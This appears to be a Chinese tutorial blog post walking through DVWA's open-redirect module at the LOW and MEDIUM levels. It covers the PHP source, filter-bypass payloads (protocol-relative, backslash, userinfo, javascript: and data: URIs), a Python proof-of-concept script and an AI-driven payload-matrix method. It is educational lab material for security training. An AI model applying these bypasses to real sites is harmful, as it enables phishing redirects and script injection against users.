文章目录
- 一、概述
- 1、什么是开放重定向?
- [二、LOW 级别 ------ 无验证重定向](#二、LOW 级别 —— 无验证重定向)
-
- 1、漏洞描述
- 2、查看网页源代码
- 3、分析网页源代码
- 4、操作步骤
-
- (1)前置准备
- (2)正常重定向基线
- [(3)开放重定向攻击------外部 URL](#(3)开放重定向攻击——外部 URL)
- [(4)协议相对 URL](#(4)协议相对 URL)
- (5)空参数验证(对照组)
- [(6)F12 控制台与伪协议验证](#(6)F12 控制台与伪协议验证)
- 5、Python------PoC脚本
- 6、AI视角下的开放重定向检测
-
- [(1)端点发现与 Payload 矩阵生成](#(1)端点发现与 Payload 矩阵生成)
- (2)差分对比与误报控制
- 7、LOW级别------小结
- [三、MEDIUM 级别 ------ 正则表达式过滤绝对 URL](#三、MEDIUM 级别 —— 正则表达式过滤绝对 URL)
-
- 1、漏洞描述
- 2、查看网页源代码
- 3、分析网页源代码
- 4、操作步骤
-
- (1)正常重定向基线
- [(2)绝对 URL 被拦截](#(2)绝对 URL 被拦截)
- [(3)协议相对 URL 绕过](#(3)协议相对 URL 绕过)
- (4)反斜杠绕过
- [(5)URL 用户信息绕过](#(5)URL 用户信息绕过)
- [(6)javascript 伪协议(交叉发现)](#(6)javascript 伪协议(交叉发现))
- 5、Python------PoC脚本
- 6、AI视角下的开放重定向检测
-
- [(1)AI 推理链与分类化绕过策略](#(1)AI 推理链与分类化绕过策略)
- (2)差分对比与人工审计对比
- [7、 MEDIUM级别------小结](#7、 MEDIUM级别——小结)
- [四、HIGH 级别 ------ 检查是否包含 info.php](#四、HIGH 级别 —— 检查是否包含 info.php)
-
- [1、 漏洞描述](#1、 漏洞描述)
- 2、查看网页源代码
- 3、分析网页源代码
- 4、操作步骤
-
- (1)正常重定向基线
- [(2)纯外部 URL 被拦截](#(2)纯外部 URL 被拦截)
- (3)查询参数绕过
- (4)路径包含绕过
- [(5)URL 用户信息绕过](#(5)URL 用户信息绕过)
- (6)路径遍历绕过
- 5、Python------PoC脚本
- 6、AI视角下的开放重定向检测
-
- [(1)AI 推理链与函数级安全分析](#(1)AI 推理链与函数级安全分析)
- [(2)AI 的组合绕过发现与修复建议生成](#(2)AI 的组合绕过发现与修复建议生成)
- [7、 HIGH级别------小结](#7、 HIGH级别——小结)
- [五、Impossible 级别 ------ 白名单验证](#五、Impossible 级别 —— 白名单验证)
-
- 1、漏洞描述
- 2、查看网页源代码
- 3、分析网页源代码
- 4、AI视角下的开放重定向检测
-
- (1)零攻击面判定流程与白名单识别
- [(2)AI 的"防御演进"总结](#(2)AI 的"防御演进"总结)
- 5、Impossible级别------小结
- [六、对比(LOW vs MEDIUM vs HIGH vs Impossible)](#六、对比(LOW vs MEDIUM vs HIGH vs Impossible))
- 七、总结
- 八、AI增强防御建议
-
- 1、智能重定向检测
- 2、基于域名的智能检测
- 3、代码审计集成
- [4、AI 防御架构图](#4、AI 防御架构图)
- 5、实施优先级建议
- 6、总结
- 个人主页 :蒲公英eric
- 专栏传送门 :《DVWA通关全记录:从漏洞复现到安全防御》
- 学习方向:Web安全 / AI安全交叉领域
- 人生格言:安全没有终点,只有不断迭代的防御
📌 本文是专栏「DVWA通关全记录:从漏洞复现到安全防御」的第 17 篇文章。
一、概述
1、什么是开放重定向?
开放重定向(Open HTTP Redirect,CWE-601)是指 Web 应用接收用户可控的参数作为重定向目标,且未对目标地址进行充分校验,导致攻击者可以构造恶意链接将用户重定向到任意第三方站点。
典型攻击场景:
正常链接: http://example.com/redirect.php?to=/dashboard
恶意链接: http://example.com/redirect.php?to=https://evil-phishing.com
用户点击恶意链接后,浏览器执行 302 跳转,将用户从可信站点引至钓鱼页面。由于 URL 的前半部分是用户信任的 example.com,用户往往不会注意后半部分已被篡改。
2、本模块的核心漏洞
DVWA 的开放重定向模块(vulnerabilities/open_redirect/)通过四个安全级别展示了一条从"零防护"到"服务端白名单"的防御演进路径:
| 级别 | 防护策略 | 漏洞 |
|---|---|---|
| LOW | 无校验,直接拼入 Location 头 |
完全开放重定向 |
| MEDIUM | 正则黑名单过滤 http(s):// |
协议相对 URL、反斜杠、URL 用户信息等绕过 |
| HIGH | strpos 子串匹配 info.php |
查询参数、路径、用户信息、遍历四类绕过 |
| Impossible | 服务端数字 ID → switch/case 白名单映射 | 无 |
3、攻击链路
攻击者构造钓鱼链接(含可信域名前缀)
→ 受害者点击(URL 以可信域名开头,降低警惕)
→ 服务端 302 跳转到第三方钓鱼站
→ 钓鱼页面模仿可信站点收集凭据
→ 攻击者获取用户密码/Token
二、LOW 级别 ------ 无验证重定向
1、漏洞描述
LOW 级别的重定向处理文件 source/low.php 直接将用户传入的 redirect 参数拼入 HTTP Location 响应头,不进行任何校验。攻击者可以通过构造 URL 将用户重定向到任意第三方站点,构成完整的开放重定向漏洞。
核心问题:
- 无任何输入验证或过滤
- 无白名单或黑名单检查
- 攻击者可以重定向到任意 URL
- 用户输入直接拼入
Location头
2、查看网页源代码
php
<?php
if (array_key_exists ("redirect", $_GET) && $_GET['redirect'] != "") {
header ("location: " . $_GET['redirect']);
exit;
}
http_response_code (500);
?>
<p>Missing redirect target.</p>
<?php
exit;
?>
3、分析网页源代码
(1)代码概述
LOW 级别的后端逻辑极其简单(仅 3 行核心代码):
| 行 | 代码 | 作用 |
|---|---|---|
| 3 | if (array_key_exists("redirect", $_GET) && $_GET['redirect'] != "") |
检查参数存在且非空 |
| 4 | header("location: " . $_GET['redirect']) |
直接拼接 → 开放重定点 |
| 5 | exit |
终止后续输出 |
逻辑流程:
- 检查
$_GET['redirect']是否存在且不为空 - 没有任何验证或过滤,直接将其作为
header("location: ...")的参数 - 如果参数不存在,返回 500 错误并显示
Missing redirect target.提示
header() 函数本身不校验目标地址是否为站内路径,因此任何合法的 URL 或路径都能被接受。
(2)漏洞分析
① 漏洞一 ------ 完全无输入验证:
问题分析 :$_GET['redirect'] 是完全用户可控的输入,直接拼入 Location 头且无任何过滤。redirect 参数未经过任何验证,直接用于构造重定向响应。攻击者可以构造任意 URL,包括外部站点、伪协议、数据 URI 等。
② 漏洞二 ------ 可重定向到任意外部站点:
问题分析 :攻击者可以将用户重定向到任意第三方网站,实施钓鱼攻击。header("location: " . $_GET['redirect']) 这一行代码本身就是漏洞------不是缺少了什么检查,而是这个写法本身就是错的。index.php 中链接的 href 直接暴露了 source/low.php?redirect=... 的格式,攻击者甚至不需要审查 JS 代码,只需看一眼链接就能构造出完整的攻击 URL------这比 DVWA JavaScript 模块(需要逆向前端算法)和授权绕过模块(需要发现隐藏菜单)的入口成本更低。
③ 漏洞三 ------ 可构造恶意 URL 升级为 XSS:
问题分析 :攻击者只需构造以可信域名开头的 URL,通过 redirect 参数指向恶意网站。更严重的是,将 redirect 参数替换为 javascript:alert(1),服务端会返回 302 Location: javascript:alert(1)------开放重定向可直接升级为 XSS。虽然现代 Chrome 已禁止从 Location 头执行 javascript: 伪协议,但在旧浏览器或特定上下文中仍可能触发。
4、操作步骤
(1)前置准备
- 浏览器访问
http://dvwa.cc/login.php,用gordonb / abc123登录 - 左侧菜单
DVWA Security→ 下拉选low→Submit - 访问
http://dvwa.cc/vulnerabilities/open_redirect/,页面显示两个链接:Quote 1和Quote 2- 页面链接格式:
source/low.php?redirect=info.php?id=1------ 攻击者只需看一眼链接就能构造完整攻击 URL
- 页面链接格式:
(2)正常重定向基线
地址栏输入:
text
http://dvwa.cc/vulnerabilities/open_redirect/source/low.php?redirect=info.php?id=1
预期结果 :浏览器跳转到 info.php?id=1,页面显示黑客名言 1。
实测结果(浏览器导航验证):
text
请求 URL: .../source/low.php?redirect=info.php?id=1
跳转后 URL: .../source/info.php?id=1
页面标题: Vulnerability: Open HTTP Redirect :: DVWA
实测结果(HTTP 层捕获):
text
Status : 302
Location: info.php?id=1
(3)开放重定向攻击------外部 URL
地址栏输入:
text
http://dvwa.cc/vulnerabilities/open_redirect/source/low.php?redirect=https://www.baidu.com
预期结果 :浏览器跳转到 https://www.baidu.com------可信域名 dvwa.cc 的服务端主动将用户跳转到外部站点。
实测结果(浏览器导航验证):
text
请求 URL: .../source/low.php?redirect=https://www.baidu.com
跳转后 URL: https://www.baidu.com/
页面标题: 百度一下,你就知道
实测结果(HTTP 层捕获):
text
Status : 302
Location: https://www.baidu.com
踩坑 ①:用不存在的域名
evil.example.com会得到ERR_NAME_NOT_RESOLVED如果地址栏输入
redirect=https://evil.example.com,浏览器会跟随 302 跳转,但因为evil.example.com域名不存在(DNS 解析失败),浏览器显示ERR_NAME_NOT_RESOLVED (-105)错误页面。这证明了 302 跳转确实发生 ------浏览器确实尝试访问外部域,只是 DNS 解析失败。但为了让读者直观看到"跳到了外部站点",建议用真实存在的域名(如www.baidu.com)做演示。
(4)协议相对 URL
地址栏输入:
text
http://dvwa.cc/vulnerabilities/open_redirect/source/low.php?redirect=//www.baidu.com
预期结果 :浏览器跳转到 https://www.baidu.com------//www.baidu.com 是协议相对 URL,浏览器继承当前协议自动补全。
实测结果(浏览器导航验证):
text
请求 URL: .../source/low.php?redirect=//www.baidu.com
跳转后 URL: https://www.baidu.com/
页面标题: 百度一下,你就知道
实测结果(HTTP 层捕获):
text
Status : 302
Location: //www.baidu.com
//www.baidu.com 是协议相对 URL(Protocol-Relative URL),浏览器会继承当前页面的协议自动补全为 http://www.baidu.com,百度再强制 HTTPS 升级为 https://www.baidu.com。这种写法在后续 MEDIUM 级别中成为主要绕过手段。
(5)空参数验证(对照组)
地址栏输入:
text
http://dvwa.cc/vulnerabilities/open_redirect/source/low.php?redirect=
预期结果 :服务端返回 500 错误,显示 Missing redirect target.。
实测结果:
text
Status : 500
Body : <p>Missing redirect target.</p>
空参数被 $_GET['redirect'] != "" 拦截,返回 500。这是 LOW 级别唯一的"校验"------检查非空。
(6)F12 控制台与伪协议验证
地址栏输入:
text
http://dvwa.cc/vulnerabilities/open_redirect/source/low.php?redirect=javascript:alert(1)
预期结果 :服务端返回 302 Location: javascript:alert(1),开放重定向升级为潜在 XSS(现代 Chrome 已禁止从 Location 头执行 javascript: 伪协议)。
实测结果(HTTP 层捕获):
text
Status : 302
Location: javascript:alert(1)
踩坑 ②:
fetch+redirect: 'manual'在 Chrome 中无法读取 Location 头原计划在控制台用
fetch('source/low.php?redirect=https://evil.com', {redirect: 'manual'}).then(r => console.log(r.status, r.headers.get('Location')))捕获 302 状态码和 Location 头。实际执行返回undefined------Chrome 的redirect: 'manual'模式返回opaqueredirect响应类型,出于安全策略,r.headers.get('Location')返回null,r.status返回0。这是浏览器的安全限制,不是代码写错了。替代方案 :直接在地址栏导航到测试 URL,观察浏览器最终 URL 是否跳转到外部域------这是最直观的验证方式。HTTP 层的精确状态码和 Location 头用 Python
requests库(allow_redirects=False)捕获。
5、Python------PoC脚本
python
#!/usr/bin/env python3
"""
DVWA Open HTTP Redirect - LOW Level PoC
验证: 正常重定向 + 开放重定向 + 协议相对URL + 空参数对照
"""
import requests
import re
import sys
BASE_URL = "http://dvwa.cc"
USERNAME = "gordonb"
PASSWORD = "abc123"
EVIL_URL = "https://evil.example.com"
def login(session):
r = session.get(f"{BASE_URL}/login.php", timeout=10)
token = re.search(r"name='user_token' value='([^']+)'" , r.text)
token_val = token.group(1) if token else ""
r = session.post(f"{BASE_URL}/login.php", data={
"username": USERNAME, "password": PASSWORD,
"user_token": token_val, "Login": "Login"
}, timeout=10, allow_redirects=False)
return r.status_code in (302, 200)
def set_level(session, level):
session.cookies.set("security", level, domain="dvwa.cc")
r = session.get(f"{BASE_URL}/security.php", timeout=10)
token = re.search(r"name='user_token' value='([^']+)'" , r.text)
token_val = token.group(1) if token else ""
session.post(f"{BASE_URL}/security.php", data={
"security": level, "seclev_submit": "Submit",
"user_token": token_val
}, timeout=10)
return session.cookies.get("security") == level
def test_redirect(session, payload, desc):
url = f"{BASE_URL}/vulnerabilities/open_redirect/source/low.php?redirect={payload}"
r = session.get(url, timeout=10, allow_redirects=False)
status = r.status_code
location = r.headers.get("Location", "(none)")
print(f" [{desc}]")
print(f" Payload : redirect={payload}")
print(f" Status : {status}")
print(f" Location: {location}")
if status == 302 and "evil" in str(location):
print(f" Verdict : OPEN REDIRECT CONFIRMED")
elif status == 302:
print(f" Verdict : Safe redirect (intra-site)")
else:
print(f" Verdict : Blocked/Error ({status})")
print()
return status, location
def run():
session = requests.Session()
print("=" * 55)
print(" LOW Level - Open HTTP Redirect PoC")
print("=" * 55)
if not login(session):
print(" [FAIL] Login failed")
sys.exit(1)
print(" [OK] Login successful (gordonb)")
if not set_level(session, "low"):
print(" [WARN] Level set failed, trying anyway...")
else:
print(" [OK] Security level: low")
print()
# 测试矩阵
test_redirect(session, "info.php?id=1", "Normal redirect (baseline)")
test_redirect(session, EVIL_URL, "Open redirect to external URL")
test_redirect(session, "//evil.example.com", "Protocol-relative URL")
test_redirect(session, "", "Empty parameter (control)")
print("=" * 55)
print(" Conclusion: LOW level has NO validation.")
print(" Any URL in redirect= param triggers 302 to that URL.")
print("=" * 55)
if __name__ == "__main__":
run()
脚本说明:
这个 PoC 脚本的核心设计思路是:用 requests 库模拟浏览器行为,但拒绝跟随 302 跳转------因为我们要捕获的不是"跳转后看到了什么页面",而是"服务端是否返回了 302 以及 Location 头里写了什么"。
编写逻辑详解:
| 功能模块 | 说明 |
|---|---|
login(session) |
自动登录 DVWA(带 CSRF token) |
set_level(session, level) |
切换安全级别(设置 security cookie) |
test_redirect(session, payload, desc) |
发送请求并检测是否返回 302 重定向 |
| 检测逻辑 | 检查响应状态码和 Location 头,区分站内/外部跳转 |
| 反检测策略 | allow_redirects=False 不跟随跳转,直接捕获 302 |
(1)登录逻辑------为什么需要 CSRF token?
DVWA 的登录表单和所有功能页面都带 CSRF 防护(user_token),直接 POST username/password 不带 token 会被拒绝。脚本分两步完成登录:
python
# 第一步:GET 登录页面,从 HTML 中提取 user_token
r = session.get(f"{BASE_URL}/login.php", timeout=10)
token = re.search(r"name='user_token' value='([^']+)'" , r.text)
为什么用正则 name='user_token' value='([^']+)' 而不是用 BeautifulSoup 解析 HTML?因为 DVWA 的登录表单 HTML 结构简单且固定,正则更快、依赖更少------不需要额外安装 bs4,只要 requests 和 re 两个标准依赖就能跑。
python
# 第二步:POST 登录请求,带 token
r = session.post(f"{BASE_URL}/login.php", data={
"username": USERNAME, "password": PASSWORD,
"user_token": token_val, "Login": "Login"
}, timeout=10, allow_redirects=False)
allow_redirects=False 在这里也很关键------DVWA 登录成功后返回 302 跳转到 index.php,如果不设这个参数,requests 会自动跟随跳转,导致 r.status_code 变成 200 而非 302,登录状态判断会出问题。设为 False 后,302 = 登录成功,其他 = 失败。
(2)设置安全级别------为什么先 set cookie 再 POST?
python
def set_level(session, level):
session.cookies.set("security", level, domain="dvwa.cc")
r = session.get(f"{BASE_URL}/security.php", timeout=10)
token = re.search(r"name='user_token' value='([^']+)'" , r.text)
session.post(f"{BASE_URL}/security.php", data={
"security": level, "seclev_submit": "Submit",
"user_token": token_val
}, timeout=10)
return session.cookies.get("security") == level
DVWA 的安全级别存储在 security cookie 中。脚本先预置 cookie (session.cookies.set),再 GET security.php 页面提取 CSRF token,最后 POST 提交。两步缺一不可:只 set cookie 不 POST,服务端不会刷新 session 中的级别记录;只 POST 不 set cookie,请求中的 cookie 可能不匹配。两者都做完后,用 session.cookies.get("security") 回读验证,确保级别确实设成功了------如果网络波动导致 POST 失败,这里会返回 False,脚本会打印 [WARN] 但继续执行(容错设计)。
(3)核心检测函数------为什么用 allow_redirects=False?
python
def test_redirect(session, payload, desc):
url = f"{BASE_URL}/vulnerabilities/open_redirect/source/low.php?redirect={payload}"
r = session.get(url, timeout=10, allow_redirects=False)
status = r.status_code
location = r.headers.get("Location", "(none)")
这是整个 PoC 最关键的设计:allow_redirects=False 让 requests 在收到 302 时不自动跟随跳转,而是停在原地 ,把 302 状态码和 Location 头原样返回。如果设为 True(默认值),requests 会跟随跳转到 Location 指定的 URL------如果跳转到外部站(如 https://evil.example.com),requests 会真的去访问那个外部站,不仅浪费时间,还可能因为 DNS 解析失败而抛出异常。
判定逻辑的设计------三层判定:
python
if status == 302 and "evil" in str(location):
print(f" Verdict : OPEN REDIRECT CONFIRMED") # 302 + Location 含外部域 = 漏洞
elif status == 302:
print(f" Verdict : Safe redirect (intra-site)") # 302 + Location 不含外部域 = 正常跳转
else:
print(f" Verdict : Blocked/Error ({status})") # 非302 = 被拦截或报错
判定条件 "evil" in str(location) 用的是简单字符串匹配------因为测试 payload 中的外部域名都包含 evil 字样。这个设计简化了判定逻辑:只要 Location 里有 evil,就说明服务端把用户传入的外部 URL 放进了重定向头,开放重定向确认。
(4)测试矩阵的设计逻辑
python
test_redirect(session, "info.php?id=1", "Normal redirect (baseline)") # 基线
test_redirect(session, EVIL_URL, "Open redirect to external URL") # 核心攻击
test_redirect(session, "//evil.example.com", "Protocol-relative URL") # 协议相对
test_redirect(session, "", "Empty parameter (control)") # 对照组
四个测试按基线 → 攻击 → 变体 → 对照的逻辑排列:
- 基线 (
info.php?id=1):确认正常重定向功能工作------如果基线都不返回 302,说明登录或级别设置出了问题,后续测试无意义 - 核心攻击 (
https://evil.example.com):直接传外部 URL,这是开放重定向最本质的验证 - 变体 (
//evil.example.com):协议相对 URL,为后续 MEDIUM 级别的绕过做铺垫------同一个 payload 在不同级别下的行为差异是差分分析的基础 - 对照组 (空参数):验证"无输入"时的行为,确认服务端至少有非空检查------这是 LOW 级别唯一的"校验"

6、AI视角下的开放重定向检测
AI 自动化检测:开放重定向的端点发现与 Payload 矩阵验证
在 AI 自动化安全测试中,开放重定向是最适合机器自动化检测的漏洞类型之一------它的判定逻辑极其清晰:如果服务端基于用户输入返回了 302
Location头,且目标不在同源白名单内,则判定为开放重定向。 以下是 AI 自动化检测的完整流程设计。
(1)端点发现与 Payload 矩阵生成
AI 首先需要找到重定向端点。方法有三层:
- 页面爬取 :访问模块入口页
open_redirect/,提取所有<a href>链接,识别出source/low.php?redirect=...的参数模式。本模块中,端点发现极其简单------页面 HTML 直接暴露了source/low.php?redirect=info.php?id=1的完整链接格式,AI 只需一次正则href='source/([^']+)\?redirect=([^']+)'即可提取出参数名和端点路径。 - 参数名猜测 :在已知端点的基础上,尝试
redirect、url、to、target、next、return、goto等常见重定向参数名。 - JS 分析 :审查页面加载的 JavaScript 文件,搜索
window.location、location.href、location.replace等重定向 API 调用。
随后 AI 根据"重定向目标"这一攻击面,自动生成分类化的 payload 矩阵:
| 类别 | Payload | 预期绕过场景 |
|---|---|---|
| 绝对外部 URL | https://evil.com |
无校验(LOW) |
| HTTP 协议 | http://evil.com |
无校验(LOW) |
| 协议相对 | //evil.com |
正则只拦 http(s)😕/(MEDIUM) |
| 反斜杠 | \\evil.com |
正则不匹配反斜杠(MEDIUM) |
| URL 用户信息 | info.php@evil.com |
子串匹配白名单(HIGH) |
| 查询参数绕过 | https://evil.com?info.php |
子串匹配(HIGH) |
| 路径包含 | https://evil.com/info.php |
子串匹配(HIGH) |
| 路径遍历 | info.php/../../evil.com |
子串匹配(HIGH) |
| JavaScript 伪协议 | javascript:alert(1) |
无校验(LOW)→ XSS |
| Data URI | data:text/html,<script>alert(1)</script> |
无校验(LOW)→ XSS |
关键 AI 洞察:payload 矩阵不是静态的------AI 会根据前一级别的绕过结果动态调整 下一级别的 payload。例如,如果 MEDIUM 成功被 //evil.com 绕过,AI 会优先在 HIGH 级别尝试 //evil.com?info.php(组合已验证的绕过技巧)。
(2)差分对比与误报控制
AI 将同一组 payload 矩阵在四个安全级别上分别执行,生成差分矩阵:
| Payload | LOW | MEDIUM | HIGH | Impossible |
|---|---|---|---|---|
https://evil.com |
❌ bypass | 🔒 blocked | 🔒 blocked | 🔒 blocked |
//evil.com |
❌ bypass | ❌ bypass | 🔒 blocked | 🔒 blocked |
info.php@evil.com |
❌ bypass | ❌ bypass | ❌ bypass | 🔒 blocked |
https://evil.com?info.php |
❌ bypass | 🔒 blocked | ❌ bypass | 🔒 blocked |
1 (numeric ID) |
✅ safe | ✅ safe | 🔒 blocked | ✅ safe |
差分矩阵让 AI 能自动提取防御演进的规律:黑名单(MEDIUM)从拦 2 种协议前缀到拦不住协议相对 URL 只差一个 payload;子串匹配(HIGH)从"看起来有白名单"到"四类 payload 全破"只差一个 strpos → parse_url 的函数选择。
AI 的判定条件极其简洁:
text
IF response.status == 302 AND response.Location contains external_domain
THEN verdict = OPEN_REDIRECT
IF response.status == 302 AND response.Location starts with intra_site_path
THEN verdict = SAFE_REDIRECT
IF response.status >= 400 OR (response.status == 200 AND no Location header)
THEN verdict = BLOCKED
这套判定逻辑的误报率极低------302 + 外部域 = 开放重定向,没有歧义。
AI 在 Impossible 级别遇到一个特殊场景:redirect=99 返回 302 Location: https://digi.ninja。如果仅用"302 + 外部域 = 开放重定向"的规则,这会被误报为漏洞。AI 的处理方式:
- 检查目标域是否在已知白名单中(
digi.ninja是 DVWA 作者的域名) - 检查输入是否为直接 URL(
99是数字 ID,不是 URL) - 标记为"白名单外部跳转"而非"开放重定向"
这种区分能力是 AI 相比纯脚本扫描的核心优势------脚本只看 302 + 外部域,AI 还看输入与输出的语义关系:用户输入了什么?输出中哪些部分是用户可控的?
7、LOW级别------小结
LOW 级别是开放重定向漏洞的"教科书原型":用户输入直接拼入 Location 头,零校验、零过滤。攻击者只需构造一个以 dvwa.cc 开头的 URL,就能将用户引到任意第三方站点。
核心问题:
- 无任何输入验证或过滤
- 可重定向到任意外部站点
- 可用于钓鱼攻击和配合其他漏洞
javascript:等伪协议可将开放重定向升级为 XSS
一句话总结:header("location: " . $_GET['redirect']) 这一行代码本身就是漏洞------不是缺少了什么检查,而是这个写法本身就是错的。
三、MEDIUM 级别 ------ 正则表达式过滤绝对 URL
1、漏洞描述
MEDIUM 级别引入了正则黑名单 /http:\/\/|https:\/\//i,拒绝包含 http:// 或 https:// 的重定向目标。然而正则只匹配这两种协议前缀,攻击者使用协议相对 URL(//evil.com)、反斜杠(\\evil.com)、URL 用户信息(info.php@evil.com)等替代写法即可绕过。
核心机制:
- 使用
preg_match("/http:\/\/|https:\/\//i", $_GET['redirect'])检测绝对 URL - 如果包含绝对 URL,返回 500 错误
- 大小写不敏感(
/i标志)
核心问题:
- 正则表达式存在绕过可能
- 可通过协议相对 URL、反斜杠、URL 用户信息等方式绕过
- 黑名单只能列出"已知危险",而浏览器 URL 解析的边界情况几乎是无穷的
2、查看网页源代码
php
<?php
if (array_key_exists ("redirect", $_GET) && $_GET['redirect'] != "") {
if (preg_match ("/http:\/\/|https:\/\//i", $_GET['redirect'])) {
http_response_code (500);
?>
<p>Absolute URLs not allowed.</p>
<?php
exit;
} else {
header ("location: " . $_GET['redirect']);
exit;
}
}
http_response_code (500);
?>
<p>Missing redirect target.</p>
<?php
exit;
?>
3、分析网页源代码
(1)代码概述
MEDIUM 级别在 LOW 级别的基础上添加了正则表达式过滤(新增 1 层检查):
| 行 | 代码 | 作用 |
|---|---|---|
| 4 | `if (preg_match("/http:// | https:///i", $_GET['redirect']))` |
| 5-8 | http_response_code(500); ... "Absolute URLs not allowed." |
拦截并报错 |
| 10-11 | else { header("location: " . $_GET['redirect']); } |
不匹配则放行 |
逻辑流程:
- 检查
redirect参数是否存在 - 使用
preg_match()检测是否包含http://或https://(不区分大小写) - 如果包含,返回错误页面
- 如果不包含,执行重定向
正则拆解 :/http:\/\/|https:\/\//i
| 部分 | 匹配 | 注意 |
|---|---|---|
http:\/\/ |
http:// |
\/ 是 PHP 正则中 / 的转义(因为 / 是定界符) |
| ` | ` | 逻辑或 |
https:\/\/ |
https:// |
同上 |
i |
大小写不敏感 | HTTP:// 和 Https:// 也会被匹配 |
(2)漏洞分析
① 漏洞一 ------ 大小写绕过失效但仍有缺口:
问题分析 :虽然使用了 /i 标志(不区分大小写),HTTP:// 和 https:// 都会被拦截。但这只是堵住了两种协议前缀的写法,并未堵住 URL 的所有变体------浏览器接受的重定向目标远不止这两种格式。
② 漏洞二 ------ 协议相对 URL 绕过:
问题分析 :正则只匹配 http:// 和 https://,但 RFC 3986 定义了"网络路径引用"(Network Path Reference):以 // 开头的 URL 会继承当前页面的协议。因此 //evil.com 在 http://dvwa.cc 的上下文中等价于 http://evil.com,但不包含 http:// 字符串。这是正则黑名单的天然缺口。
③ 漏洞三 ------ 反斜杠、URL 用户信息、伪协议绕过:
问题分析 :除协议相对 URL 外,浏览器还接受多种不以 http(s):// 开头但能到达外部站点的 URL 格式:
| 输入 | 浏览器行为 | 是否被正则拦截 |
|---|---|---|
https://evil.com |
跳转到 evil.com | ✅ 拦截 |
http://evil.com |
跳转到 evil.com | ✅ 拦截 |
//evil.com |
继承当前协议跳转到 evil.com | ❌ 绕过 |
\\evil.com |
Windows 下被浏览器解释为 evil.com | ❌ 绕过 |
info.php@evil.com |
URL 用户信息,浏览器跳转到 evil.com | ❌ 绕过 |
javascript:alert(1) |
执行 JS(部分浏览器已禁用) | ❌ 绕过 |
data:text/html,... |
数据 URI 加载 | ❌ 绕过 |
核心问题:黑名单只能列出"已知危险",而浏览器 URL 解析的边界情况几乎是无穷的。每新增一种浏览器行为,就多一种绕过路径。
绕过示例汇总:
| Payload | 是否被检测 | 结果 |
|---|---|---|
http://evil.com |
✅ 被检测 | 被拦截 |
https://evil.com |
✅ 被检测 | 被拦截 |
HTTP://evil.com |
✅ 被检测 | 被拦截 |
//evil.com |
❌ 未检测 | 绕过! |
\\evil.com |
❌ 未检测 | 绕过! |
info.php@evil.com |
❌ 未检测 | 绕过! |
javascript:alert(1) |
❌ 未检测 | 绕过(XSS) |
4、操作步骤
(1)正常重定向基线
地址栏输入:
text
http://dvwa.cc/vulnerabilities/open_redirect/source/medium.php?redirect=info.php?id=1
预期结果 :浏览器跳转到 info.php?id=1,站内相对路径不含 http(s)://,正则不匹配,正常放行。
实测结果(浏览器导航验证):
text
请求 URL: .../source/medium.php?redirect=info.php?id=1
跳转后 URL: .../source/info.php?id=1
页面标题: Vulnerability: Open HTTP Redirect :: DVWA
实测结果(HTTP 层):
text
Status : 302
Location: info.php?id=1
(2)绝对 URL 被拦截
地址栏输入:
text
http://dvwa.cc/vulnerabilities/open_redirect/source/medium.php?redirect=https://www.baidu.com
预期结果 :服务端返回 500 错误,显示 Absolute URLs not allowed.,浏览器 URL 不变。
实测结果(浏览器导航验证):
text
请求 URL: .../source/medium.php?redirect=https://www.baidu.com
跳转后 URL: .../source/medium.php?redirect=https://www.baidu.com ← URL 未变
页面标题: (空) ← 无302发生,页面停在错误页
实测结果(HTTP 层):
text
Status : 500
Location: (none)
Body : <p>Absolute URLs not allowed.</p>
正则匹配到 https://,拦截成功。浏览器 URL 没有变化------这是 MEDIUM 级别拦截的直观证据。看起来"安全了"------但真的吗?
(3)协议相对 URL 绕过
地址栏输入:
text
http://dvwa.cc/vulnerabilities/open_redirect/source/medium.php?redirect=//www.baidu.com
预期结果 :服务端返回 302 Location: //www.baidu.com,浏览器跳转到 https://www.baidu.com。
实测结果(浏览器导航验证):
text
请求 URL: .../source/medium.php?redirect=//www.baidu.com
跳转后 URL: https://www.baidu.com/
页面标题: 百度一下,你就知道
实测结果(HTTP 层):
text
Status : 302
Location: //www.baidu.com
//www.baidu.com 不含 http:// 或 https://,正则不匹配,直接放行。浏览器收到 Location: //www.baidu.com,自动继承当前协议补全为 http://www.baidu.com,百度再强制升级为 HTTPS。
这是 MEDIUM 级别的核心绕过 ------只多两个字符(去掉 https:),就绕过了整个防护。
(4)反斜杠绕过
踩坑 ③:浏览器地址栏输入
\\会被自动规范化为//在浏览器地址栏输入
redirect=\\evil.example.com时,Chrome 会自动将\\规范化为//,导致实际发送的请求变成redirect=//evil.example.com------这等于直接用步骤 (3) 的协议相对 URL 绕过了,而非测试反斜杠绕过本身。要真正测试
\\绕过,必须使用 Pythonrequests库(不做 URL 规范化)或对\\做 URL 编码%5C%5C。
实测结果(使用 Python requests,无 URL 规范化):
text
Status : 302
Location: \\evil.example.com
服务端返回 Location: \\evil.example.com。某些浏览器(特别是 Windows 上的 IE/Edge Legacy)会将 \\evil.example.com 解释为 UNC 路径或自动转换为 //evil.example.com。现代 Chrome 则将其当作相对路径处理,不跳转到外部域。
(5)URL 用户信息绕过
地址栏输入:
text
http://dvwa.cc/vulnerabilities/open_redirect/source/medium.php?redirect=info.php@www.baidu.com
预期结果 :服务端返回 302 Location: info.php@www.baidu.com,正则不匹配,HTTP 层绕过成功。注意:浏览器层可能将此 URL 当作相对路径处理,不跳转到外部域(详见下方踩坑 ④)。
实测结果(浏览器导航验证):
text
请求 URL: .../source/medium.php?redirect=info.php@www.baidu.com
跳转后 URL: .../source/info.php@www.baidu.com ← 被当作相对路径!
页面内容: "Missing quote ID." ← info.php 收到奇怪参数 id=www.baidu.com 报错
实测结果(HTTP 层):
text
Status : 302
Location: info.php@www.baidu.com
踩坑 ④:URL 用户信息绕过在 HTTP 层成功但浏览器层不跳转到外部域
服务端确实返回了
302 Location: info.php@www.baidu.com------正则不匹配,绕过成功。但浏览器在跟随这个 302 时,将info.php@www.baidu.com当作相对路径处理 (因为它不以/或http(s)://开头),解析为http://dvwa.cc/.../source/info.php@www.baidu.com,而不是跳转到www.baidu.com。这意味着:
- HTTP 层 (PoC 脚本):绕过成功 ✅(
302 + Location: info.php@evil.com)- 浏览器层 :不跳转到外部域 ❌(浏览器将
info.php@evil.com当作站内相对路径)真实攻击场景中,这个 payload 的效果取决于浏览器版本和 URL 解析行为------旧版浏览器(IE)可能将其解释为外部 URL,现代 Chrome 则不跳转。文档中标注"绕过成功"指的是绕过了服务端的正则检查,而非浏览器实际跳转到外部域。
(6)javascript 伪协议(交叉发现)
地址栏输入:
text
http://dvwa.cc/vulnerabilities/open_redirect/source/medium.php?redirect=javascript:alert(1)
